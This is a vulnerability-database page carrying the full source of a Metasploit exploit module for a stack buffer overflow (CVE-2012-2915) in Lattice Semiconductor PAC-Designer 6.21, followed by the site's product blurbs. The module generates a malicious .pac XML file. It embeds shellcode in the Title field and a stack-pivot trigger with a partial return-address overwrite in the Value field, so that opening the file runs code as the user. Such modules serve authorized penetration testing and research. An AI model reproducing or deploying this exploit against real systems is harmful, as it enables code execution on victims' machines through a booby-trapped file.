Lucene search
K

Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow

🗓️ 14 Jun 2012 14:56:01Reported by Unknown, juan vazquez <[email protected]>, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 46 Views

Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow vulnerabilit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer
        6.21.  As a .pac file, when supplying a long string of data to the 'value' field
        under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption
        on the stack, which results in arbitrary code execution under the context of the
        user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',      #Discovery
          'juan vazquez', #Metasploit
          'sinn3r'        #Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2012-2915'],
          ['OSVDB', '82001'],
          ['EDB', '19006'],
          ['BID', '53566'],
          ['URL', 'http://web.archive.org/web/20120523175252/http://secunia.com:80/advisories/48741']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x3c\x3e",
          'StackAdjustment' => -3500,
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'PAC-Designer 6.21 on Windows XP SP3',
            {
              # P/P/R in PACD621.exe
              # ASLR: False, Rebase: False, SafeSEH: False, OS: False
              'Ret' => 0x00805020
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-05-16',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The filename', 'msf.pac'])
      ])
  end

  def exploit
    # The payload is placed in the <title> field
    p = payload.encoded

    # The trigger is placed in the <value> field, which will jmp to our
    # payload in the <title> field.
    buf  = "\x5f"    #POP EDI
    buf << "\x5f"    #POP EDI
    buf << "\x5c"    #POP ESP
    buf << "\x61"*6  #POPAD x 6
    buf << "\x51"    #PUSH ECX
    buf << "\xc3"    #RET
    buf << rand_text_alpha(96-buf.length, payload_badchars)
    buf << "\xeb\x9e#{rand_text_alpha(2, payload_badchars)}"  #Jmp back to the beginning of the buffer
    buf << [target.ret].pack('V')[0,3] # Partial overwrite

    xml = %Q|<?xml version="1.0"?>
<PacDesignData>
  <DocFmtVersion>1</DocFmtVersion>
  <DeviceType>ispPAC-CLK5410D</DeviceType>
  <CreatedBy>PAC-Designer 6.21.1336</CreatedBy>
  <SummaryInformation>
    <Title>#{p}</Title>
    <Author>#{Rex::Text.rand_text_alpha(6)}</Author>
  </SummaryInformation>

  <SymbolicSchematicData>
    <Symbol>
      <SymKey>153</SymKey>
      <NameText>Profile 0 Ref Frequency</NameText>
      <Value>#{buf}</Value>
    </Symbol>
  </SymbolicSchematicData>
</PacDesignData>|

    file_create(xml)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation